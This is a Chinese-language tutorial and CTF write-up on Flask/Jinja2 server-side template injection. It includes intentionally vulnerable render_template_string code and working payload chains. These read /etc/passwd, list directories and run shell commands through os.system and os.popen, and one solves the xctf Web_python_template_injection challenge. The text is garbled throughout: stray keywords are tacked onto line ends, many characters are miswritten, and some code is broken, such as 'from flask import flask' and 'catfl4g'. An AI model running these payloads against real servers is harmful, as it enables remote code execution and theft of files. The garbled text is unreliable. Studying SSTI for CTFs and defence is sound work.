何爲模板注入?html
模板引擎可讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這大大提高了開發效率,良好的設計也使得代碼重用變得更加容易。python
可是模板引擎也拓寬了咱們的攻擊面。注入到模板中的代碼可能會引起RCE或者XSS。程序員
在學習SSTI以前,先把flask的運做流程搞明白。這樣有利用更快速的理解原理。shell
先看一段代碼flask
from flask import flask @app.route('/index/') def hello_word(): return 'hello word'
route
裝飾器的做用是將函數與url綁定起來。例子中的代碼的做用就是當你訪問http://127.0.0.1:5000/index
的時候,flask會返回hello word。服務器
flask的渲染方法有render_template和render_template_string兩種。app
render_template()是用來渲染一個指定的文件的。使用以下xss
return render_template('index.html')
render_template_string則是用來渲染一個字符串的。SSTI與這個方法密不可分。函數
使用方法以下學習
html = '<h1>This is index page</h1>' return render_template_string(html)
flask是使用Jinja2來做爲渲染引擎的。看例子
在網站的根目錄下新建templates
文件夾,這裏是用來存放html文件。也就是模板文件。
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
訪問127.0.0.1:5000/index/
的時候,flask就會渲染出index.html的頁面。
模板文件並非單純的html代碼,而是夾雜着模板的語法,由於頁面不可能都是一個樣子的,有一些地方是會變化的。好比說顯示用戶名的地方,這個時候就須要使用模板支持的語法,來傳參。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{{content}}</h1>
這個時候頁面仍然輸出This is index page
。
{{}}
在Jinja2中做爲變量包裹標識符。
不正確的使用flask中的render_template_string
方法會引起SSTI。那麼是什麼不正確的代碼呢?
存在漏洞的代碼
@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
這段代碼存在漏洞的緣由是數據和代碼的混淆。代碼中的code
是用戶可控的,會和html拼接後直接帶入渲染。
嘗試構造code爲一串js代碼。
將代碼改成以下
@app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code)
繼續嘗試
能夠看到,js代碼被原樣輸出了。這是由於模板引擎通常都默認對渲染的變量值進行編碼轉義,這樣就不會存在xss了。在這段代碼中用戶所控的是code變量,而不是模板內容。存在漏洞的代碼中,模板內容直接受用戶控制的。
不正確的使用flask中的render_template_string
方法會引起SSTI。那麼是什麼不正確的代碼呢?
目錄:
(2)獲取基類的幾種方法
(3)獲取基本類的子類
(4)利用
(5)讀寫文件
(6)shell命令執行
(7)繞過姿式
(8)實戰(填坑中)
(9)參考(挖坑)
(10)補充
其它模板注入payload
目錄:
Flask模板注入
解析:
衆所周知ssti要被{{}}包括。接下來的代碼均要包括在ssti中。
__class__ 返回類型所屬的對象 __mro__ 返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。 __base__ 返回該對象所繼承的基類 // __base__和__mro__都是用來尋找基類的 __subclasses__ 每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表 __init__ 類的初始化方法 __globals__ 對包含函數全局變量的字典的引用 __builtins__ builtins便是引用,Python程序一旦啓動,它就會在程序員所寫的代碼沒有運行以前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,因此能夠直接調用引用的模塊
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //針對jinjia2/flask爲[9]適用 或者 [].__class__.__bases__[0] //其餘的相似
>>> [].__class__.__base__.__subclasses__() [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
ssti的主要目的就是從這麼多的子類中找出能夠利用的類(通常是指讀寫文件的類)加以利用。
那麼咱們能夠利用的類有哪些呢?
咱們能夠利用的方法有<type 'file'>等。(甚至file通常是第40號)
>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
能夠從上面的例子中看到咱們用file讀取了 /etc/passwd ,可是若是想要讀取目錄怎麼辦?
那麼咱們能夠尋找萬能的os模塊。
寫腳本遍歷。
#!/usr/bin/env python # encoding: utf-8 num = 0 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1
直接調用就行了。能夠直接調用system函數,有了shell其餘的問題不就解決了嗎?
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
固然,某些狀況下system函數會被過濾。這時候也能夠採用os模塊的listdir函數來讀取目錄。(能夠配合file來實現任意文件讀取)
>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #讀取本級目錄
另外在某些不得已的狀況下可使用如下方式來讀取文件。(沒見過這種狀況)。
方法一:
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改成 write() 就是寫文件
方法二:
存在的子模塊能夠經過 .index()方式來查詢
>>> ''.__class__.__mro__[2].__subclasses__().index(file) 40
用file模塊來查詢。
>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
這裏拿 xctf 中的 Web_python_template_injection 作例子
進入題目界面能夠看到
嘗試模板注入 {{7*7}}
/49的存在說明7*7這條指令被忠實地執行了。接下來,開始想辦法編代碼拿到服務器的控制檯權限 首先,題目告訴咱們這是一個python注入問題,那麼腳本確定也是python的,思考怎樣用python語句獲取控制檯權限:想到了os.system和os.popen([參考資料](https://blog.csdn.net/sxingming/article/details/52071514)),這兩句前者返回**退出狀態碼**,後者**以file形式**返回**輸出內容**,咱們想要的是內容,所因此選擇os.popen`
知道了要用這一句,那麼我要怎麼找到這一句呢?python給咱們提供了完整的尋找鏈(參考資料)
class:返回對象所屬的類
mro:返回一個類所繼承的基類元組,方法在解析時按照元組的順序解析。
base:返回該類所繼承的基類 //base__和__mro__都是用來尋找基類的__subclasses:每一個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
init:類的初始化方法
globals:對包含函數全局變量的字典的引用
首先,找到當前變量所在的類:
有回顯。嘗試模板注入。
構造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
讀目錄發現了fl4g。直接用file讀取。構造payload: ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
拿到了flag。
##注意事項:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read() ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
以上payload是很是經常使用的payload
文章引用:
https://blog.csdn.net/qq_45449318/article/details/105302194
https://www.freebuf.com/column/187845.html
https://www.cnblogs.com/cioi/p/12308518.html#a1